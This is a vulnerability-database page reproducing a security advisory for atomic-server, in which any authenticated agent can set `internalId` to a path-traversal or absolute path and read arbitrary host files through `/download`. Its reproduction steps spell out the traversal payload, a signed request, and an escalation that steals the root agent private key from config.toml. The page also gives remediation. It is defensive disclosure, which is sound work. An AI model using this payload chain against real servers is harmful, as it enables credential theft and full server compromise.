Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent
Affects atomic-serverSource GCVE Database
Not known to be exploited · CVSS 8.1 High.
Data as of 18 Nov 2026, 21:34 UTC
Thin evidence
One scorer or none| CNA (GitHub_M) | CVSS 3.1 | 8.1 |
|---|
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NExploitation evidence
Disclosed: evidence found.
CVE published 17 Nov 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 18 Nov 2026.
What to do
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| crates.ioatomic-server | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
## Summary The Commit apply path enforces **no allowlist of writable properties**, so any authenticated Agent can set the `internalId` string (datatype `string`, no character validation) on a resource it owns. The `/download` handler then uses that value **verbatim** as a filesystem path — `file_path.push(internal_id); NamedFile::open(file_path)` — with **no sanitization and no containment check** (`server/src/handlers/download.rs:56-65`). By setting `internalId` to a traversal path (`../../../../etc/passwd`) or an absolute path (`PathBuf::push` of an absolute path replaces the buffer), an attacker reads **any file on the host**. The highest-value target is the server config file storing the **root agent private key**, which yields full server compromise. Only the *upload* path sanitizes filenames (`sanitize_filename`); the *download* path trusts the stored value. The handler also never checks that the resource is a `File`. ## Affected component - `server/src/handlers/download.rs:56-65` — `file_path.push(internal_id)` + `NamedFile::open`, no sanitization, no `File`-class check. - `lib/src/commit.rs` (`apply_changes`) — sets any property; no server-managed-property denylist. ## Steps to Reproduce Environment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a parent (self-signup, or via the `/setup` issue reported separately). 1. Create a resource and set `internalId` to a traversal path — sign the Commit and `POST /commit` (200): ``` subject = http://localhost:9883/pwnfile set = { "https://atomicdata.dev/properties/parent": "http://localhost:9883", "https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd" } ``` 2. Download it. The auth signature is over the **resolved subject** (the server strips the `/download` prefix → `http://localhost:9883/pwnfile`): ```http GET /download/pwnfile HTTP/1.1 Host: localhost:9883 x-atomic-public-key: <pubkey> x-atomic-agent: http://localhost:9883/agents/<pubkey> x-atomic-timestamp: <ms> x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")> ``` Response `200 OK` returns the host `/etc/passwd`: ``` root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin ... ``` 3. Escalate — set `internalId = /atomic-storage/config/config.toml` (absolute path) and download again: ```toml server = "http://localhost:9883" agent = "http://localhost:9883/agents/+/KwsAmyzc7S/..." private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY" # server root agent key ``` 4. Using the stolen key, the attacker signs a Commit with `signer = <root agent>` → `POST /commit` (200) edits data **as root**. Full compromise. **Expected:** `internalId` treated as a server-managed property and/or `/download` canonicalizes and confines the path to `uploads_path`. **Actual:** Arbitrary host file read, including the root private key. ## Impact Arbitrary file read as the server process: `/etc/passwd`, env, TLS keys, the sled DB, K8s service-account tokens, and the **root agent private key** → root impersonation → full read/write/delete of all data. Only a standard account is needed. ## Remediation - In `download.rs`: `sanitize_filename(internal_id)`, then `canonicalize` and assert the resolved path stays within `uploads_path` before opening; verify the resource is a `File`. - Add a server-managed-property denylist (`internalId`, rights arrays, etc.) in `lib/src/commit.rs` so clients cannot set them.
References
- github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-69156 (opens in a new tab)
- github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61 (opens in a new tab)
- github.com/ontola/atomic-server (opens in a new tab)
- github.com/ontola/atomic-server/releases/tag/v0.40.3 (opens in a new tab)